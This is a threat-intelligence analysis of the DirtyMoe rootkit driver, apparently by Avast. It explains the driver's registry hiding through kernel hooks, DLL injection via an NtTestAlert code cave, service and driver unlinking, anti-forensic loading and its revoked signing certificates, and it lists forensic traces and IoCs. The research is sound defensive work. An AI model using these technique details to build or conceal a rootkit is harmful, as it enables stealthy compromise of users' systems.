The driver can hide a given registry key. Each manipulation with a registry key is hooked by the kernel method GetCellRoutine(). The configuration manager assigns a control block for each open registry key. The control block (CM_KEY_CONTROL_BLOCK) structure keeps all control blocks in a hash table to quickly search for existing control blocks. The GetCellRoutine() hook method computes a memory address of a requested key. Therefore, if the malware driver takes control over the GetCellRoutine(), the driver can filter which registry keys will be visible; more precisely, which keys will be searched in the hash table.

The malware driver finds an address of the original GetCellRoutine() and replaces it with its own malicious hook method, MalGetCellRoutine(). The driver uses well-documented implementation [3, 4]. It just goes through kernel structures obtained via the ZwOpenKey() kernel call. Then, the driver looks for CM_KEY_CONTROL_BLOCK, and its associated HHIVE structured correspond with the requested key. The HHIVE structure contains a pointer to the GetCellRoutine() method, which the driver replaces; see Figure 3.

Figure 3. Overwriting GetCellRoutine

This method’s pitfall is that offsets of looked structure, variable, or method are specific for each windows version or build. So, the driver must determine on which Windows version the driver runs.

The MalGetCellRoutine() hook method performs 3 basic operations as follow:

  1. The driver calls the original kernel GetCellRoutine() method.
  2. Checks whitelists for a requested registry key.
  3. Catches or releases the requested registry key according to the whitelist check.
Registry Key Hiding

The hiding technique uses a simple principle. The driver iterates across a whole HIVE of a requested key. If the driver finds a registry key to hide, it returns the last registry key of the iterated HIVE. When the interaction is at the end of the HIVE, the driver does not return the last key since it was returned before, but it just returns NULL, which ends the HIVE searching.

The consequence of this principle is that if the driver wants to hide more than one key, the driver returns the last key of the searched HIVE more times. So, the final results of the registry query can contain duplicate keys.

Whitelisting

The services.exe and System services are whitelisted by default, and there is no restriction. Whitelisted process image names are also without any registry access restriction.

A decision-making mechanism is more complicated for Windows 10. The driver hides the request key only for regedit.exe application if the Windows 10 build is 14393 (July 2016) or 15063 (March 2017).

2.7 Thread Notification

The main purpose of the Thread Notification is to inject malicious code into created threads. The driver registers a thread notification routine via PsSetCreateThreadNotifyRoutine() during the Device Entry initialization. The routine registers a callback which is subsequently notified when a new thread is created or deleted. The suspicious callback (PCREATE_THREAD_NOTIFY_ROUTINE) NotifyRoutine() takes three arguments: ProcessID, ThreadID, and Create flag. The driver affects only threads in which Create flag is set to TRUE, so only newly created threads.

The whitelisting is focused on two aspects. The first one is an image name, and the second one is command-line arguments of a created thread. The image name is stored in WinDriverMaker1, and arguments are stored as a checksum in the WinDriverMaker2 variable. The driver is designed to inject only two processes defined by a process name and two processes defined by command line arguments. There are no whitelists, just 4 global variables.

2.7.1 Kernel Method Lookup

The successful injection of the malicious code requires several kernel methods. The driver does not call these methods directly due to detection techniques, and it tries to obfuscate the required method. The driver requires the following kernel methods: ZwReadVirtualMemory, ZwWriteVirtualMemory, ZwQueryVirtualMemory, ZwProtectVirtualMemory, NtTestAlert, LdrLoadDll

The kernel methods are needed for successful thread injection because the driver needs to read/write process data of an injected thread, including program instruction.

Virtual Memory Method Lookup

The driver gets the address of the ZwAllocateVirtualMemory() method. As Figure 4 illustrates, all lookup methods are consecutively located after ZwAllocateVirtualMemory() method in ntdll.dll.

Figure 4. Code segment of ntdll.dll with VirtualMemory methods

The driver starts to inspect the code segments from the address of the ZwAllocateVirtualMemory() and looks up for instructions representing the constant move to eax (e.g. mov eax, ??h). It identifies the VirtualMemory methods; see Table 7 for constants.

Constant Method
0x18 ZwAllocateVirtualMemory
0x23 ZwQueryVirtualMemory
0x3A NtWriteVirtualMemory
0x50 ZwProtectVirtualMemory
Table 7. Constants of Virtual Memory methods for Windows 10 (64 bit)

When an appropriate constants is found, the final address of a lookup method is calculated as follow:

method_address = constant_address - alignment_constant;
where alignment_constant helps to point to the start of the looked-up method.

The steps to find methods can be summarized as follow:

  1. Get the address of ZwAllocateVirtualMemory(), which is not suspected in terms of detection.
  2. Each sought method contains a specific constant on a specific address (constant_address).
  3. If the constant_address is found, another specific offset (alignment_constant) is subtracted;
    the alignment_constant is specific for each Windows version.

The exact implementation of the Virtual Memory Method Lookup methodΒ  is shown in Figure 5.

Figure 5. Implementation of the lookup routine searching for the kernel VirtualMemory methods

The success of this obfuscation depends on the Window version identification. We found one Windows 7 version which returns different methods than the malware wants; namely, ZwCompressKey(), ZwCommitEnlistment(), ZwCreateNamedPipeFile(), ZwAlpcDeleteSectionView().
The alignment_constant is derived from the current Windows version during the driver initialization; see the Driver Entry routine.

NtTestAlert and LdrLoadDll Lookup

A different approach is used for getting NtTestAlert() and LdrLoadDll() routines. The driver attaches to the winlogon.exe process and gets the pointer to the kernel structure PEB_LDR_DATA containing PE header and imports of all processes in the system. If the import table includes a required method, then the driver extracts the base address, which is the entry point to the sought routine.

2.7.2 Process Injection

The aim of the process injection is to load a defined DLL library into a new thread via kernel function LdrLoadDll(). The process injection is slightly different for x86 and x64 OS versions.

The x64 OS version abuses the original NtTestAlert() routine, which checks the thread’s APC queue. The APC (Asynchronous Procedure Call) is a technique to queue a job to be done in the context of a specific thread. It is called periodically. The driver rewrites the instructions of the NtTestAlert() which jumps to the entry point of the malicious code.

Modification of NtTestAlert Code

The first step to the process injection is to find free memory for a code cave. The driver finds the free memory near the NtTestAlert() routine address. The code cave includes a shellcode as Figure 6. demonstrates.

Figure 6. Malicious payload overwriting the original NtTestAlert() routine

The shellcode prepares a parameter (code_cave address) for the malicious code and then jumps into it. The original NtTestAlert() address is moved into rax because the malicious code ends by the return instruction, and therefore the original NtTestAlert() is invoked. Finally, rdx contains the jump address, where the driver injected the malicious code. The next item of the code cave is a path to the DLL file, which shall be loaded into the injected process. Other items of the code cave are the original address and original code instructions of the NtTestAlert().

The driver writes the malicious code into the address defined in dll_loading_shellcode. The original instructions of NtTestAlert() are rewritten with the instruction which just jumps to the shellcode. It causes that when the NtTestAlert() is called, the shellcode is activated and jumps into the malicious code.

Malicious Code x64

The malicious code for x64 is simple. Firstly, it recovers the original instruction of the rewritten NtTestAlert() code. Secondly, the code invokes the found LdrLoadDll() method and loads appropriate DLL into the address space of the injected process. Finally, the code executes the return instruction and jumps back to the original NtTestAlert() function.

The x86 OS version abuses the entry point of the injected process directly. The procedure is very similar to the x64 injection, and the x86 malicious code is also identical to the x64 version. However, the x86 malicious code needs to find a 32bit variant of theΒ  LdrLoadDll() method. It uses the similar technique described above (NtTestAlert and LdrLoadDll Lookup).

2.8 Service Hiding

Windows uses the Services Control Manager (SCM) to manage the system services. The executable of SCM is services.exe. This program runs at the system startup and performs several functions, such as running, ending, and interacting with system services. The SCM process also keeps all run services in an undocumented service record (SERVICE_RECORD) structure.

The driver must patch the service record to hide a required service. Firstly, the driver must find the process services.exe and attach it to this one via KeStackAttachProcess(). The malware author defined a byte sequence which the driver looks for in the process memory to find the service record. The services.exe keeps all run services as a linked list of SERVICE_RECORD [5]. The malware driver iterates this list and unlinks required services defined by listServices whitelist; see Table 4.

The used byte sequence for Windows 2000, XP, Vista, and Windows 7 is as follows: {45 3B E5 74 40 48 8D 0D}. There is another byte sequence {48 83 3D ?? ?? ?? ?? ?? 48 8D 0D} that is never used because it is bound to the Windows version that the malware driver has never identified; maybe in development.

The hidden services cannot be detected using PowerShell command Get-Service, Windows Task Manager, Process Explorer, etc. However, started services are logged via Windows Event Log. Therefore, we can enumerate all regular services and all logged services. Then, we can create differences to find hidden services.

2.9 Driver Hiding

The driver is able to hide itself or another malicious driver based on the IOCTL from the user-mode. The Driver Entry is initiated by a parameter representing a driver object (DRIVER_OBJECT) of the loaded driver image. The driver object contains an officially undocumented item called a driver section. The LDR_DATA_TABLE_ENTRY kernel structure stores information about the loaded driver, such as base/entry point address, image name, image size, etc. The driver section points to LDR_DATA_TABLE_ENTRY as a double-linked list representing all loaded drivers in the system.

When a user-mode application lists all loaded drivers, the kernel enumerates the double-linked list of the LDR_DATA_TABLE_ENTRY structure. The malware driver iterates the whole list and unlinks items (drivers) that should be hidden. Therefore, the kernel loses pointers to the hidden drivers and cannot enumerate all loaded drivers [6].

2.10 Driver Unload

The Driver Unload function contains suspicious code, but it seems to be never used in this version. The rest of the unload functionality executes standard procedure to unload the driver from the system.

3. Loading Driver During Boot

The DirtyMoe service loads the malicious driver. A driver image is not permanently stored on a disk since the service always extracts, loads, and deletes the driver images on the service startup. The secondary service aim is to eliminate evidence about driver loading and eventually complicate a forensic analysis. The service aspires to camouflage registry and disk activity. The DirtyMoe service is registered as follows:

Service name: Ms<volume_id>App; e.g., MsE3947328App
Registry key: HKLM\SYSTEM\CurrentControlSet\services\<service_name>
ImagePath: %SystemRoot%\system32\svchost.exe -k netsvcs
ServiceDll: C:\Windows\System32\<service_name>.dll, ServiceMain
ServiceType: SERVICE_WIN32_SHARE_PROCESS
ServiceStart: SERVICE_AUTO_START

3.1 Registry Operation

On startup, the service creates a registry record, describing the malicious driver to load; see following example:

Registry key: HKLM\SYSTEM\CurrentControlSet\services\dump_E3947328
ImagePath: \??\C:\Windows\System32\drivers\dump_LSI_FC.sys
DisplayName: dump_E3947328

At first glance, it is evident that ImagePath does not reflect DisplayName, which is the Windows common naming convention. Moreover, ImagePath prefixed with dump_ string is used for virtual drivers (loaded only in memory) managing the memory dump during the Windows crash. The malware tries to use the virtual driver name convention not to be so conspicuous. The principle of the Dump Memory using the virtual drivers is described in [7, 8].

ImagePath values are different from each windows reboot, but it always abuses the name of the system native driver; see a few instances collected during windows boot: dump_ACPI.sys, dump_RASPPPOE.sys, dump_LSI_FC.sys, dump_USBPRINT.sys, dump_VOLMGR.sys, dump_INTELPPM.sys, dump_PARTMGR.sys

3.2 Driver Loading

When the registry entry is ready, the DirtyMoe service dumps the driver into the file defined by ImagePath. Then, the service loads the driver via ZwLoadDriver().

3.3 Evidence Cleanup

When the driver is loaded either successfully or unsuccessfully, the DirtyMoe service starts to mask various malicious components to protect the whole malware hierarchy.

The DirtyMoe service removes the registry key representing the loaded driver; see Registry Operation. Further, the loaded driver hides the malware services, as the Service Hiding section describes. Registry entries related to the driver are removed via the API call. Therefore, a forensics track can be found in the SYSTEM registry HIVE, located in %SystemRoot%\system32\config\SYSTEM. The API call just removes a relevant HIVE pointer, but unreferenced data is still present in the HIVE stored on the disk. Hence, we can read removed registry entries via RegistryExplorer.

The loaded driver also removes the dumped (dump_ prefix) driver file. We were not able to restore this file via tools enabling recovery of deleted files, but it was extracted directly from the service DLL file.

Capturing driver image and register keys

The malware service is responsible for the driver loading and cleans up of loading evidence. We put a breakpoint into the nt!IopLoadDriver() kernel method, which is reached if a process wants to load a driver into the system. We waited for the wanted driver, and then we listed all the system processes. The corresponding service (svchost.exe) has a call stack that contains the kernel call for driver loading, but the corresponding service has been killed by EIP registry modifying. The process (service) was killed, and the whole Windows ended in BSoD. Windows made a crash dump, so the file system caches have been flushed, and the malicious service did not finish the cleanup in time. Therefore, we were able to mount a volume and read all wanted data.

3.4 Forensic Traces

Although the DirtyMoe service takes great pains to cover up the malicious activities, there are a few aspects that help identify the malware.

The DirtyMoe service and loaded driver itself are hidden; however, the Windows Event Log system records information about started services. Therefore, we can get additional information such as ProcessID and ThreadID of all services, including the hidden services.

WinDbg connected to the Windows kernel can display all loaded modules using the lm command. The module list can uncover non-virtual drivers with prefix dump_ and identify the malicious drivers.

Offline connected volume can provide the DLL library of the services and other supporting files, which are unfortunately encrypted and obfuscated with VMProtect. Finally, the offline SYSTEM registry stores records of the DirtyMoe service.

4. Certificates

Windows Vista and later versions of Windows require that loaded drivers must be code-signed. The digital code-signature should verify the identity and integrity of the driver vendor [9]. However, Windows does not check the current status of all certificates signing a Windows driver. So, if one of the certificates in the path is expired or revoked, the driver is still loaded into the system. We will not discuss why Windows loads drivers with invalid certificates since this topic is really wide. The backward compatibility but also a potential impact on the kernel implementation play a role.

DirtyMoe drivers are signed with three certificates as follow:

Beijing Kate Zhanhong Technology Co.,Ltd.
Valid From: 28-Nov-2013 (2:00:00)
Valid To: 29-Nov-2014 (1:59:59)
SN: 3C5883BD1DBCD582AD41C8778E4F56D9
Thumbprint: 02A8DC8B4AEAD80E77B333D61E35B40FBBB010A0
Revocation Status: Revoked on 22-May-β€Ž2014 (9:28:59)

Beijing Founder Apabi Technology Limited
Valid From: 22-May-2018 (2:00:00)
Valid To: 29-May-2019 (14:00:00)
SN: 06B7AA2C37C0876CCB0378D895D71041
Thumbprint: 8564928AA4FBC4BBECF65B402503B2BE3DC60D4D
Revocation Status: Revoked on 22-May-β€Ž2018 (2:00:01)

Shanghai Yulian Software Technology Co., Ltd. (δΈŠζ΅·εŸŸθ”θ½―δ»ΆζŠ€ζœ―ζœ‰ι™ε…¬εΈ)
Valid From: 23-Mar-2011 (2:00:00)
Valid To: 23-Mar-2012 (1:59:59)
SN: 5F78149EB4F75EB17404A8143AAEAED7
Thumbprint: 31E5380E1E0E1DD841F0C1741B38556B252E6231
Revocation Status: Revoked on 18-Apr-β€Ž2011 (10:42:04)

The certificates have been revoked by their certification authorities, and they are registered as stolen, leaked, misuse, etc. [10]. Although all certificates have been revoked in the past, Windows loads these drivers successfully because the root certificate authorities are marked as trusted.

5. Summarization and Discussion

We summarize the main functionality of the DirtyMoe driver. We discuss the quality of the driver implementation, anti-forensic mechanisms, and stolen certificates for successful driver loading.

5.1 Main Functionality

Authorization

The driver is controlled via IOCTL codes which are sent by malware processes in the user-mode. However, the driver implements the authorization instrument, which verifies that the IOCTLs are sent by authenticated processes. Therefore, not all processes can communicate with the driver.

Affecting the Filesystem

If a rootkit is in the kernel, it can do β€œanything”. The DirtyMoe driver registers itself in the filter manager and begins to influence the results of filesystem I/O operations; in fact, it begins to filter the content of the filesystem. Furthermore, the driver replaces the NtfsCreatCallback() callback function of the NTFS driver, so the driver can determine who should gain access and what should not get to the filesystem.

Thread Monitoring and Code injection

The DirtyMoe driver enrolls a malicious routine which is invoked if the system creates a new thread. The malicious routine abuses the APC kernel mechanism to execute the malicious code. It loads arbitrary DLL into the new thread.Β 

Registry Hiding

This technique abuses the kernel hook method that indexes registry keys in HIVE. The code execution of the hook method is redirected to the malicious routine so that the driver can control the indexing of registry keys. Actually, the driver can select which keys will be indexed or not.

Service and Driver Hiding

Patching of specific kernel structures causes that certain API functions do not enumerate all system services or loaded drivers. Windows services and drivers are stored as a double-linked list in the kernel. The driver corrupts the kernel structures so that malicious services and drivers are unlinked from these structures. Consequently, if the kernel iterates these structures for the purpose of enumeration, the malicious items are skipped.

5.2 Anti-Forensic Technique

As we mentioned above, the driver is able to hide itself. But before driver loading, the DirtyMoe service must register the driver in the registry and dump the driver into the file. When the driver is loaded, the DirtyMoe service deletes all registry entries related to the driver loading. The driver deletes its own file from the file system through the kernel-mode. Therefore, the driver is loaded in the memory, but its file is gone.

The DirtyMoe service removes the registry entries via standard API calls. We can restore this data from the physical storage since the API calls only remove the pointer from HIVE. The dumped driver file is never physically stored on the disk drive because its size is too small and is present only in cache memory. Accordingly, the file is removed from the cache before cache flushing to the disk, so we cannot restore the file from the physical disk.

5.3 Discussion

The whole driver serves as an all-in-one super rootkit package. Any malware can register itself in the driver if knowing the authorization code. After successful registration, the malware can use a wide range of driver functionality. Hypothetically, the authorization code is hardcoded, and the driver’s name can be derived so we can communicate with the driver and stop it.

The system loads the driver via the DirtyMoe service within a few seconds. Moreover, the driver file is never present in the file system physically, only in the cache. The driver is loaded via the API call, and the DirtyMoe service keeps a handler of the driver file, so the file manipulation with the driver file is limited. However, the driver removes its own file using kernel-call. Therefore, the driver file is removed from the file system cache, and the driver handler is still relevant, with the difference that the driver file does not exist, including its forensic traces.

The DirtyMoe malware is written using Delphi in most cases. Naturally, the driver is coded in native C. The code style of the driver and the rest of the malware is very different. We analyzed that most of the driver functionalities are downloaded from internet forums as public samples. Each implementation part of the driver is also written in a different style. The malware authors have merged individual rootkit functionality into one kit. They also merged known bugs, so the driver shows a few significant symptoms of driver presence in the system. The authors needed to adapt the functionality of the public samples to their purpose, but that has been done in a very dilettante way. It seems that the malware authors are familiar only with Delphi.

Finally, the code-signature certificates that are used have been revoked in the middle of their validity period. However, the certificates are still widely used for code signing, so the private keys of the certificates have probably been stolen or leaked. In addition, the stolen certificates have been signed by the certification authority which Microsoft trusts, so the certificates signed in this way can be successfully loaded into the system despite their revocation. Moreover, the trend in the use of certificates is growing, and predictions show that it will continue to grow in the future. We will analyze the problems of the code-signature certificates in the future post.

6. Conclusion

DirtyMoe driver is an advanced piece of rootkit that DirtyMoe uses to effectively hide malicious activity on host systems. This research was undertaken to inspect the rootkit functionally of the DirtyMoe driver and evaluate the impact on infected systems. This study set out to investigate and present the analysis of the DirtyMoe driver, namely its functionality, the ability to conceal, deployment, and code-signature.

The research has shown that the driver provides key functionalities to hide malicious processes, services, and registry keys. Another dangerous action of the driver is the injection of malicious code into newly created processes. Moreover, the driver also implements the minifilter, which monitors and affects I/O operations on the file system. Therefore, the content of the file system is filtered, and appropriate files/directories can be hidden for users. An implication of this finding is that malware itself and its artifacts are hidden even for AVs. More importantly, the driver implements another anti-forensic technique which removes the driver’s evidence from disk and registry immediately after driver loading. However, a few traces can be found on the victim’s machines.

This study has provided the first comprehensive review of the driver that protects and serves each malware service and process of the DirtyMoe malware. The scope of this study was limited in terms of driver functionality. However, further experimental investigations are needed to hunt out and investigate other samples that have been signed by the revoked certificates. Because of this, the malware author can be traced and identified using thus abused certificates.

IoCs

Samples (SHA-256)
550F8D092AFCD1D08AC63D9BEE9E7400E5C174B9C64D551A2AD19AD19C0126B1
AABA7DB353EB9400E3471EAAA1CF0105F6D1FAB0CE63F1A2665C8BA0E8963A05
B3B5FFF57040C801A4392DA2AF83F4BF6200C575AA4A64AB9A135B58AA516080
CB95EF8809A89056968B669E038BA84F708DF26ADD18CE4F5F31A5C9338188F9
EB29EDD6211836E6D1877A1658E648BEB749091CE7D459DBD82DC57C84BC52B1

References

[1] Kernel-Mode Driver Architecture
[2] Driver to Hide Processes and Files
[3] A piece of code to hide registry entries
[4] Hidden
[5] Opening Hacker’s Door
[6] Hiding loaded driver with DKOM
[7] Crashdmp-ster Diving the Windows 8 Crash Dump Stack
[8] Ghost drivers named dump_*.sys
[9] Driver Signing
[10] Australian web hosts hit with a Manic Menagerie of malware

Appendix A

Registry entries used in the Start Routine

\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceAddress
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceNumber
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceId
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceName
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceNameB
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceNameOnly
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverMaker1
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverMaker1_2
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverMaker2
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverMaker2_2
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDevicePathA
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDevicePathB
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverPath1
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverPath1_2
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverPath2
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverPath2_2
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceDataA
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDeviceDataB
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverDataA
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverDataA_2
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverDataB
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WinApi\\WinDriverDataB_2


Appendix B

Example of registry entries configuring the driver

Key: ControlSet001\Control\WinApi
Value: WinDeviceAddress
Data: Ms312B9050App;Β Β Β 

Value: WinDeviceNumber
Data:
\WINDOWS\AppPatch\Ke601169.xsl;
\WINDOWS\AppPatch\Ke237043.xsl;
\WINDOWS\AppPatch\Ke311799.xsl;
\WINDOWS\AppPatch\Ke119163.xsl;
\WINDOWS\AppPatch\Ke531580.xsl;
\WINDOWS\AppPatch\Ke856583.xsl;
\WINDOWS\AppPatch\Ke999860.xsl;
\WINDOWS\AppPatch\Ke410472.xsl;
\WINDOWS\AppPatch\Ke673389.xsl;
\WINDOWS\AppPatch\Ke687417.xsl;
\WINDOWS\AppPatch\Ke689468.xsl;
\WINDOWS\AppPatch\Ac312B9050.sdb;
\WINDOWS\System32\Ms312B9050App.dll;

Value: WinDeviceName
Data:
C:\WINDOWS\AppPatch\Ac312B9050.sdb;
C:\WINDOWS\System32\Ms312B9050App.dll;

Value: WinDeviceId
Data: dump_FDC.sys;

The post DirtyMoe: Rootkit Driver appeared first on Avast Threat Labs.

❌
❌